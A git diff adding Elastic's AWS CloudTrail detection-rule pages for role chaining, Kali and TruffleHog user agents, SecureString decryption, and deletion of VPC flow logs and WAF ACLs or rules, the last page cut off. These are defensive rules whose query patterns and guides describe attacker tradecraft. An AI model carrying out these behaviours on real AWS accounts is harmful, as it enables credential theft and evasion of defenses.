now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles.html#id_roles_terms-and-concepts +* https://www.uptycs.com/blog/detecting-anomalous-aws-sessions-temporary-credentials +* https://hackingthe.cloud/aws/post_exploitation/role-chain-juggling/ + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS STS +* Use Case: Threat Detection +* Tactic: Persistence +* Tactic: Privilege Escalation +* Tactic: Lateral Movement +* Resources: Investigation Guide + +*Version*: 6 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS STS Role Chaining* + + +Role chaining occurs when a role assumed with temporary credentials (`AssumeRole`) is used to assume another role. While supported by AWS, chaining can increase risk of Privilege escalation, if the second role grants broader permissions; and Persistence, since each chained AssumeRole refreshes the session with up to 1-hour duration. This new terms rule triggers on the first observed combination of one role (`aws.cloudtrail.user_identity.session_context.session_issuer.arn`) assuming another (`aws.cloudtrail.resources.arn`). + + +*Possible investigation steps* + + +- **Review Alert Context**: Investigate the alert, focusing on `aws.cloudtrail.user_identity.session_context.session_issuer.arn` (the calling role) and `aws.cloudtrail.resources.arn` (the target role). + +- **Determine scope and intent.** Check `aws.cloudtrail.recipient_account_id` and `aws.cloudtrail.resources.account_id` fields to identify whether the chaining is Intra-account (within the same AWS account) or Cross-account (from another AWS account). + +- **Check role privileges.** Compare policies of the calling and target roles. Determine if chaining increases permissions (for example, access to S3 data, IAM modifications, or admin privileges). + +- **Correlate with other activity.** Look for related alerts or CloudTrail activity within ±30 minutes: policy changes, unusual S3 access, or use of sensitive APIs. Use `aws.cloudtrail.user_identity.arn` to track behavior from the same role session, use `aws.cloudtrail.user_identity.session_context.session_issuer.arn` to track broader behavior from the role itself. + +- **Validate legitimacy.** Contact the account or service owner to confirm if the chaining was expected (for example, automation pipelines or federated access flows). + +- **Geography & source.** Review `cloud.region`, `source.address`, and other `geo` fields to assess if the activity originates from expected regions or network ranges. + + +*False positive analysis* + + +- **Expected role chaining.** Some organizations use role chaining as part of multi-account access strategies. Maintain an allowlist of known `issuer.arn` - `target.arn` pairs. +- **Automation and scheduled tasks.** CI/CD systems or monitoring tools may assume roles frequently. Validate by `userAgent` and historical behavior. +- **Test/dev environments.** Development accounts may generate experimental chaining patterns. Tune rules or exceptions to exclude low-risk accounts. + + +*Response and remediation* + + +**Immediate steps** +- **Preserve evidence.** Export triggering CloudTrail events (±30 minutes) into a restricted evidence bucket. Include session context, source IP, and user agent. +- **Notify owners.** Contact the owners of both roles to validate intent. + +**Containment (if suspicious)** +- **Revoke temporary credentials.** https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_use_revoke-sessions.html[Revoke Session Permissions] if possible, or attach https://docs.aws.amazon.com/aws-managed-policy/latest/reference/AWSDenyAll.html[AWSDenyALL policy] to the originating role. +- **Restrict risky roles.** Apply least-privilege policies or temporarily deny `sts:AssumeRole` for suspicious principals. +- **Enable monitoring.** Ensure CloudTrail and GuardDuty are active in all regions to detect further chaining. + +**Scope and hunt** +- Search for additional AssumeRole activity by the same `issuer.arn` or `resources.arn` across other accounts and regions. +- Look for privilege escalation attempts (for example, IAM `AttachRolePolicy`, `UpdateAssumeRolePolicy`) or sensitive data access following the chain. + +**Recovery & hardening** +- Apply least privilege to all roles, limiting trust policies to only required principals. +- Enforce MFA where possible on AssumeRole operations. +- Periodically review role chaining patterns to validate necessity; remove unused or risky trust relationships. +- Document and tune new terms exceptions for known, legitimate chains. + + +*Additional information* + + +- https://github.com/aws-samples/aws-incident-response-playbooks/[AWS IR Playbooks]: NIST-aligned templates for evidence, containment, eradication, recovery, post-incident. +- https://github.com/aws-samples/aws-customer-playbook-framework/[AWS Customer Playbook Framework]: Practical response steps for account and IAM misuse scenarios +- AWS IAM Best Practices: https://docs.aws.amazon.com/IAM/latest/UserGuide/best-practices.html[AWS docs] for reducing risk from temporary credentials. + +==== Setup + + +The AWS Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- + data_stream.dataset : "aws.cloudtrail" and + event.provider : "sts.amazonaws.com" and + event.action : "AssumeRole" and + aws.cloudtrail.user_identity.type : "AssumedRole" and + event.outcome : "success" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ +* Technique: +** Name: Abuse Elevation Control Mechanism +** ID: T1548 +** Reference URL: https://attack.mitre.org/techniques/T1548/ +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Use Alternate Authentication Material +** ID: T1550 +** Reference URL: https://attack.mitre.org/techniques/T1550/ +* Sub-technique: +** Name: Application Access Token +** ID: T1550.001 +** Reference URL: https://attack.mitre.org/techniques/T1550/001/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-suspicious-user-agent-fingerprint.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-suspicious-user-agent-fingerprint.asciidoc new file mode 100644 index 0000000000..9ac67b3f4b --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-suspicious-user-agent-fingerprint.asciidoc @@ -0,0 +1,179 @@ +[[prebuilt-rule-8-19-21-aws-suspicious-user-agent-fingerprint]] +=== AWS Suspicious User Agent Fingerprint + +Identifies successful AWS API calls where the CloudTrail user agent indicates offensive tooling or automated credential verification. This includes the AWS CLI or Boto3 reporting a Kali Linux distribution fingerprint (`distrib#kali`), and clients that identify as TruffleHog, which is commonly used to validate leaked secrets against live AWS APIs. These patterns are uncommon for routine production workloads and may indicate compromised credentials, unauthorized access, or security tooling operating outside approved scope. + +*Rule type*: eql + +*Rule indices*: + +* logs-aws.cloudtrail-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/awscloudtrail/latest/userguide/cloudtrail-event-reference-user-identity.html +* https://www.sygnia.co/blog/sygnia-investigation-bybit-hack/ +* https://trufflesecurity.com/blog/trufflehog-in-your-logs +* https://kudelskisecurity.com/research/investigating-two-variants-of-the-trivy-supply-chain-compromise + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS CloudTrail +* Tactic: Initial Access +* Use Case: Cloud Threat Detection +* Resources: Investigation Guide + +*Version*: 5 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and Analysis* + + + +*Investigating AWS Suspicious User Agent Fingerprint* + + +AWS CloudTrail records the user agent string for API requests, which can reveal the OS distribution and client tooling. +Two high-signal patterns this rule covers are: + +- **Kali Linux fingerprint** — When the AWS CLI or Boto3 reports `distrib#kali`, the request likely came from a Kali + environment. Kali is widely used for penetration testing and adversarial tradecraft, so this is worth correlating with + identity, network context, and sensitivity of API actions. +- **TruffleHog** — TruffleHog identifies itself in the user agent when verifying whether recovered credentials are still + valid. Observing it against your account may indicate leaked keys are being tested, including through supply-chain or + secret-scanning abuse by a third party. + +This detection focuses on **successful** API activity. Evaluate who performed the action, what was accessed or modified, +and whether the source and tooling align with expectations. + + +*Possible investigation steps* + + +**Identify the actor** +- Review `aws.cloudtrail.user_identity.arn` and `aws.cloudtrail.user_identity.access_key_id` to determine which IAM + principal was used. +- Check whether this principal normally uses CLI/SDK clients and whether Kali or TruffleHog is ever expected for their role. + +**Review access patterns and actions** +- Examine API calls associated with the matched user agent for high-risk activity such as IAM changes, data access, + snapshot sharing, logging modification, or persistence-related actions. +- Look for sequences indicating initial access or expansion, such as `GetSessionToken`, `AssumeRole`, or privilege + escalation attempts. +- Determine whether the activity scope aligns with the principal’s intended permissions and business function. + +**Inspect source network and tooling context** +- Review `source.ip`, `source.geo` fields, and ASN to determine whether the request originated from an expected corporate + network, VPN, CI/CD egress, or known security testing infrastructure. +- Analyze `user_agent.original` to confirm which pattern matched (`distrib#kali` vs `TruffleHog`) and whether usage looks + interactive, scripted, or scanner-driven. +- Sudden shifts from console-based access to CLI from an offensive distribution, or first-time TruffleHog against the + account, may indicate credential compromise or unauthorized scanning. + +**Correlate with surrounding activity** +- Search for additional CloudTrail events tied to the same access key or session before and after this detection. +- Look for evidence of follow-on actions such as resource creation, configuration changes, or attempts to disable logging + and monitoring services. +- Assess whether the activity represents a single isolated request or part of a broader behavioral chain. + + +*False positive analysis* + + +- Internal red team or authorized assessments may produce Kali-based AWS CLI or SDK traffic. Confirm scope, timing, and + authorization. +- Organizational use of TruffleHog in CI to validate rotated keys or scan artifacts may generate this signal; restrict + exceptions to known roles, repositories, and egress IPs where possible. + + +*Response and remediation* + + +- If the activity is unauthorized, immediately revoke or rotate the affected access keys or invalidate the active + session. +- Review IAM permissions associated with the identity and reduce scope where possible to enforce least privilege. +- Investigate for additional indicators of compromise, including unusual role assumptions, new credential creation, or + data access from the same identity. +- Notify security operations and incident response teams if the activity aligns with known adversary behaviors or appears + part of a larger intrusion. +- Consider adding guardrails or conditional access controls (such as source IP restrictions or MFA enforcement) for + sensitive IAM principals. + + +*Additional information* + +- **https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/[AWS IR Playbooks]** +- **https://github.com/aws-samples/aws-customer-playbook-framework/tree/a8c7b313636b406a375952ac00b2d68e89a991f2/docs[AWS Customer Playbook Framework]** +- **https://aws.amazon.com/premiumsupport/knowledge-center/security-best-practices/[AWS Knowledge Center – Security Best Practices]** + + +==== Rule query + + +[source, js] +---------------------------------- +any where data_stream.dataset == "aws.cloudtrail" + and event.outcome == "success" + and ( + ( + stringContains(user_agent.original, "distrib#kali") + or stringContains(user_agent.original, "+kali") + or stringContains(user_agent.original, "kali-amd64") + or stringContains(user_agent.original, "kali-arm64") + ) or ( + stringContains(user_agent.original, "TruffleHog") + or stringContains(user_agent.original, "trufflehog") + ) + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-systems-manager-securestring-parameter-request-with-decryption-flag.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-systems-manager-securestring-parameter-request-with-decryption-flag.asciidoc new file mode 100644 index 0000000000..41cdcc46c3 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-systems-manager-securestring-parameter-request-with-decryption-flag.asciidoc @@ -0,0 +1,132 @@ +[[prebuilt-rule-8-19-21-aws-systems-manager-securestring-parameter-request-with-decryption-flag]] +=== AWS Systems Manager SecureString Parameter Request with Decryption Flag + +Detects the first occurrence of a user identity accessing AWS Systems Manager (SSM) SecureString parameters using the GetParameter or GetParameters API actions with credentials in the request parameters. This could indicate that the user is accessing sensitive information. This rule detects when a user accesses a SecureString parameter with the withDecryption parameter set to true. This is a New Terms rule that detects the first occurrence of an AWS identity accessing SecureString parameters with decryption. + +*Rule type*: new_terms + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/vsts/latest/userguide/systemsmanager-getparameter.html +* https://docs.aws.amazon.com/systems-manager/latest/userguide/systems-manager-parameter-store.html + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS Systems Manager +* Tactic: Credential Access +* Resources: Investigation Guide + +*Version*: 9 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS Systems Manager SecureString Parameter Request with Decryption Flag* + + +This rule detects when an AWS resource accesses SecureString parameters within AWS Systems Manager (SSM) with the decryption flag set to true. SecureStrings are encrypted using a KMS key, and accessing these with decryption can indicate attempts to access sensitive data. + +Adversaries may target SecureStrings to retrieve sensitive information such as encryption keys, passwords, and other credentials that are stored securely. Accessing these parameters with decryption enabled is particularly concerning because it implies the adversary is attempting to bypass the encryption to obtain plain text values that can be immediately used or exfiltrated. This behavior might be part of a larger attack strategy aimed at escalating privileges or moving laterally within an environment to access protected data or critical infrastructure. + + +*Possible Investigation Steps* + + +- **Review the Access Event**: Identify the specific API call (`GetParameter` or `GetParameters`) that triggered the rule. Examine the `request_parameters` for `withDecryption` set to true and the name of the accessed parameter. +- **Verify User Identity and Access Context**: Check the `aws.cloudtrail.user_identity` details to understand who accessed the parameter and their role within the organization. This includes checking the ARN and access key ID to determine if the access was authorized. + - **User ID**: Review the `user.name` field to identify the specific user or role that initiated the API call. Note that the ARN associated may be an assumed role and may not directly correspond to a human user. +- **Contextualize with User Behavior**: Assess whether the access pattern fits the user’s normal behavior or job responsibilities. Investigate any out-of-pattern activities around the time of the event. +- **Analyze Geographic and IP Context**: Using the `source.ip` and `source.geo` information, verify if the request came from a trusted location or if there are any anomalies that suggest a compromised account. +- **Inspect Related CloudTrail Events**: Look for other related events in CloudTrail to see if there was unusual activity before or after this event, such as unusual login attempts, changes to permissions, or other API calls that could indicate broader unauthorized actions. + + +*False Positive Analysis* + + +- **Legitimate Administrative Use**: Verify if the decryption of SecureString parameters is a common practice for the user’s role, particularly if used in automation scripts or deployment processes like those involving Terraform or similar tools. +- **Authorized Access**: Ensure that the user or role has a legitimate reason to access the SecureString parameters and that the access is part of their expected job responsibilities. + + +*Response and Remediation* + + +- **Immediate Verification**: Contact the user or team responsible for the API call to verify their intent and authorization. +- **Review and Revise Permissions**: If the access was unauthorized, review the permissions assigned to the user or role to ensure they align with the principle of least privilege. +- **Audit Parameter Access Policies**: Ensure that policies governing access to SecureString parameters are strict and audit logs are enabled to track access with decryption. +- **Incident Response**: If suspicious activity is confirmed, follow through with your organization's incident response plan to mitigate any potential security issues. +- **Enhanced Monitoring and Alerting**: Strengthen monitoring rules to detect unusual accesses to SecureString parameters, especially those that involve decryption. + + +*Additional Information* + + +This rule focuses solely on SecureStrings in AWS Systems Manager (SSM) parameters. SecureStrings are encrypted using an AWS Key Management Service (KMS) key. When a user accesses a SecureString parameter, they can specify whether the parameter should be decrypted. If the user specifies that the parameter should be decrypted, the decrypted value is returned in the response. + + +==== Setup + + +This rule requires that AWS CloudTrail logs are ingested into the Elastic Stack. Ensure that the AWS integration is properly configured to collect AWS CloudTrail logs. This rule also requires event logging for AWS Systems Manager (SSM) API actions which can be enabled in CloudTrail's data events settings. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: aws.cloudtrail + and event.provider: "ssm.amazonaws.com" + and event.action: (GetParameters or GetParameter) + and event.outcome: success + and aws.cloudtrail.flattened.request_parameters.withDecryption: true + and not source.address: ( + "cloudformation.amazonaws.com" or + "servicecatalog.amazonaws.com" + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Credentials from Password Stores +** ID: T1555 +** Reference URL: https://attack.mitre.org/techniques/T1555/ +* Sub-technique: +** Name: Cloud Secrets Management Stores +** ID: T1555.006 +** Reference URL: https://attack.mitre.org/techniques/T1555/006/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-vpc-flow-logs-deletion.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-vpc-flow-logs-deletion.asciidoc new file mode 100644 index 0000000000..3472e22dfb --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-vpc-flow-logs-deletion.asciidoc @@ -0,0 +1,131 @@ +[[prebuilt-rule-8-19-21-aws-vpc-flow-logs-deletion]] +=== AWS VPC Flow Logs Deletion + +Identifies the deletion of one or more flow logs in AWS Elastic Compute Cloud (EC2). An adversary may delete flow logs in an attempt to evade defenses. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://awscli.amazonaws.com/v2/documentation/api/latest/reference/ec2/delete-flow-logs.html +* https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_DeleteFlowLogs.html + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS EC2 +* Use Case: Log Auditing +* Resources: Investigation Guide +* Tactic: Defense Evasion + +*Version*: 213 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS VPC Flow Logs Deletion* + + +VPC Flow Logs is an AWS feature that enables you to capture information about the IP traffic going to and from network interfaces in your virtual private cloud (VPC). Flow log data can be published to Amazon CloudWatch Logs or Amazon S3. + +This rule identifies the deletion of VPC flow logs using the API `DeleteFlowLogs` action. Attackers can do this to cover their tracks and impact security monitoring that relies on this source. + + +*Possible investigation steps* + + +- Identify the user account that performed the action and whether it should perform this kind of action. +- Investigate other alerts associated with the user account during the past 48 hours. +- Contact the account and resource owners and confirm whether they are aware of this activity. +- Check if this operation was approved and performed according to the organization's change management policy. +- Considering the source IP address and geolocation of the user who issued the command: + - Do they look normal for the user? + - If the source is an EC2 IP address, is it associated with an EC2 instance in one of your accounts or is the source IP from an EC2 instance that's not under your control? + - If it is an authorized EC2 instance, is the activity associated with normal behavior for the instance role or roles? Are there any other alerts or signs of suspicious activity involving this instance? +- If you suspect the account has been compromised, scope potentially compromised assets by tracking servers, services, and data accessed by the account in the last 24 hours. + + +*False positive analysis* + + +- If this rule is noisy in your environment due to expected activity, consider adding exceptions — preferably with a combination of user and IP address conditions. +- Administrators may rotate these logs after a certain period as part of their retention policy or after importing them to a SIEM. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Disable or limit the account during the investigation and response. +- Identify the possible impact of the incident and prioritize accordingly; the following actions can help you gain context: + - Identify the account role in the cloud environment. + - Assess the criticality of affected services and servers. + - Work with your IT team to identify and minimize the impact on users. + - Identify if the attacker is moving laterally and compromising other accounts, servers, or services. + - Identify any regulatory or legal ramifications related to this activity. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords or delete API keys as needed to revoke the attacker's access to the environment. Work with your IT teams to minimize the impact on business operations during these actions. +- Check if unauthorized new users were created, remove unauthorized new accounts, and request password resets for other IAM users. +- Consider enabling multi-factor authentication for users. +- Review the permissions assigned to the implicated user to ensure that the least privilege principle is being followed. +- Implement security best practices https://aws.amazon.com/premiumsupport/knowledge-center/security-best-practices/[outlined] by AWS. +- Take the actions needed to return affected systems, data, or services to their normal operational levels. +- Identify the initial vector abused by the attacker and take action to prevent reinfection via the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + +==== Setup + + +The AWS Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:aws.cloudtrail and event.provider:ec2.amazonaws.com and event.action:DeleteFlowLogs and event.outcome:success + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Cloud Logs +** ID: T1562.008 +** Reference URL: https://attack.mitre.org/techniques/T1562/008/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-waf-access-control-list-deletion.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-waf-access-control-list-deletion.asciidoc new file mode 100644 index 0000000000..0d9a6f7e04 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-waf-access-control-list-deletion.asciidoc @@ -0,0 +1,192 @@ +[[prebuilt-rule-8-19-21-aws-waf-access-control-list-deletion]] +=== AWS WAF Access Control List Deletion + +Identifies the deletion of an AWS Web Application Firewall (WAF) Web ACL. Web ACLs are the core enforcement objects in AWS WAF, defining which traffic is inspected, allowed, or blocked for protected applications. Deleting a Web ACL removes all associated rules, protections, and logging configurations. Adversaries who obtain sufficient privileges may delete a Web ACL to disable critical security controls, evade detection, or prepare for downstream attacks such as web-application compromise, data theft, or resource abuse. Because Web ACLs are rarely deleted outside of controlled maintenance or infrastructure updates, unexpected deletions may indicate potential defense evasion. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/waf/latest/APIReference/API_DeleteWebACL.html +* https://docs.aws.amazon.com/waf/latest/APIReference/API_wafRegional_DeleteWebACL.html + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS WAF +* Use Case: Network Security Monitoring +* Tactic: Defense Evasion +* Resources: Investigation Guide + +*Version*: 212 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS WAF Access Control List Deletion* + + +AWS Web Application Firewall (WAF) protects applications by inspecting HTTP/S traffic and applying rule groups, +managed rule sets, and custom logic to block or allow requests. A Web ACL is the primary enforcement object that binds +these protections to CloudFront distributions, Application Load Balancers, API Gateway stages, and AppSync APIs. + +Deleting a Web ACL immediately removes all protections and logging associated with that application entry point. +Because this action can expose applications to direct exploitation, adversaries may delete Web ACLs to disable +defenses, evade detection, or prepare for lateral movement or data exfiltration. + +This rule detects successful `DeleteWebACL` events across WAF Classic, WAF Regional, and WAFv2 APIs. + + +*Possible investigation steps* + + +- **Identify the actor and access context** + - Review `aws.cloudtrail.user_identity.arn` and `access_key_id` for the identity that initiated deletion. + - Determine whether this principal normally manages WAF resources. + - Check if the call originated via IAM role assumption, federated identity, or long-lived IAM key. + +- **Assess the deleted ACL** + - Check `aws.cloudtrail.request_parameters` for: + - The Web ACL ID (`WebACLId`, `Id`, or ARN). + - The scope (REGIONAL vs. CLOUDFRONT). + - Associated resource ARNs that were protected. + - Determine which applications or APIs depended on this Web ACL. + - Evaluate the criticality and sensitivity of any exposed endpoints. + +- **Correlate with related security-affecting activity** + - Use CloudTrail to pivot on: + - The same identity (`user_identity.arn` or access key). + - The same application load balancer, CloudFront distribution, or API Gateway stage. + - Look for: + - Prior rule updates (`UpdateWebACL`, `DeleteRuleGroup`, etc.). + - IAM privilege escalation events. + - Changes to logging or monitoring (e.g., disabling WAF logging). + +- **Investigate request origin and tooling** + - Review `source.ip`, ASN, and geo-location for anomalies. + - Analyze `user_agent.original` to identify automation, custom scripts, CLI usage, or console access. + +- **Evaluate operational context** + - Determine whether the deletion aligns with: + - Scheduled maintenance. + - IaC-driven redeployments (Terraform, CDK, CloudFormation). + - Known migrations between WAF Classic and WAFv2. + - If deletion occurred outside expected time windows or without a corresponding change ticket, treat it as suspicious. + + +*False positive analysis* + + +- **Expected infrastructure lifecycle events** + - IaC pipelines may destroy and recreate Web ACLs as part of environment rotation or blue/green deployments. + - Confirm whether the deleting identity matches known automation roles. + +- **Planned refactoring or migrations** + - Organizations transitioning to WAFv2 or moving resources across regions may intentionally delete legacy ACLs. + +- **Testing and sandbox environments** + - Developers may frequently create and remove ACLs during experimentation. + - Tune the rule to suppress events from non-production accounts or specific tags. + +- **Automated cleanup** + - Certain CI/CD processes or teardown scripts remove WAF resources during ephemeral environment shutdowns. + +If any deletion is inconsistent with normal operational patterns or performed by an unexpected principal, treat it as a potential defense-evasion attempt. + + +*Response and remediation* + + +- **Containment** + - Immediately assess exposed applications. If feasible, apply temporary restrictive network controls (e.g., ALB security group tightening or CloudFront WAFv2 fallback rules). + - Revoke session tokens or access keys associated with suspicious actors. + +- **Restore protections** + - Recreate the deleted Web ACL using IaC definitions, backups, or previous configurations. + - Validate that logging and monitoring (WAF logs, CloudWatch alarms, SIEM ingestion) are correctly restored. + +- **Scope and impact analysis** + - Review CloudTrail for follow-on or preceding activity by the same actor: + - Rule modifications. + - IAM policy changes. + - Application configuration updates. + - API Gateway or ALB changes. + - Review application access logs for unusual requests following ACL removal. + +- **Hardening** + - Limit IAM permissions for `waf:DeleteWebACL`, `wafv2:DeleteWebACL`, and related actions to a small set of trusted roles. + - Enforce MFA for administrative access. + - Use AWS Config or Security Hub controls to detect unauthorized modifications to WAF resources. + +- **Post-incident improvements** + - Update change-management workflows to include required approvals for WAF modifications. + - Improve monitoring for other defense-evasion patterns such as disabling GuardDuty, CloudTrail, or logging. + + +*Additional information* + + +- **DeleteWebACL API (WAF Classic & Regional):** + https://docs.aws.amazon.com/waf/latest/APIReference/API_wafRegional_DeleteWebACL.html +- **DeleteWebACL API (WAFv2):** + https://docs.aws.amazon.com/waf/latest/APIReference/API_DeleteWebACL.html +- **https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/[AWS IR Playbooks]** +- **https://github.com/aws-samples/aws-customer-playbook-framework/tree/a8c7b313636b406a375952ac00b2d68e89a991f2/docs[AWS Customer Playbook Framework]** +- **https://aws.amazon.com/premiumsupport/knowledge-center/security-best-practices/[AWS Knowledge Center – Security Best Practices]** + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: aws.cloudtrail + and event.provider: (waf.amazonaws.com or waf-regional.amazonaws.com or wafv2.amazonaws.com) + and event.action: DeleteWebACL + and event.outcome: success + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Cloud Firewall +** ID: T1562.007 +** Reference URL: https://attack.mitre.org/techniques/T1562/007/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-waf-rule-or-rule-group-deletion.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-waf-rule-or-rule-group-deletion.asciidoc new file mode 100644 index 0000000000..3933651420 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-waf-rule-or-rule-group-deletion.asciidoc @@ -0,0 +1,172 @@ +[[prebuilt-rule-8-19-21-aws-waf-rule-or-rule-group-deletion]] +=== AWS WAF Rule or Rule Group Deletion + +Identifies the deletion of an AWS Web Application Firewall (WAF) rule or rule group. WAF rules and rule groups enforce critical protections for web applications by filtering malicious HTTP requests, blocking known attack patterns, and enforcing access controls. Deleting these rules—even briefly—can expose applications to SQL injection, cross-site scripting, credential-stuffing bots, or targeted exploitation. Adversaries who have gained sufficient permissions may remove WAF protections as part of a broader defense evasion or impact strategy, often preceding data theft or direct application compromise. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/waf/latest/APIReference/API_waf_DeleteRule.html +* https://docs.aws.amazon.com/waf/latest/APIReference/API_waf_DeleteRuleGroup.html + 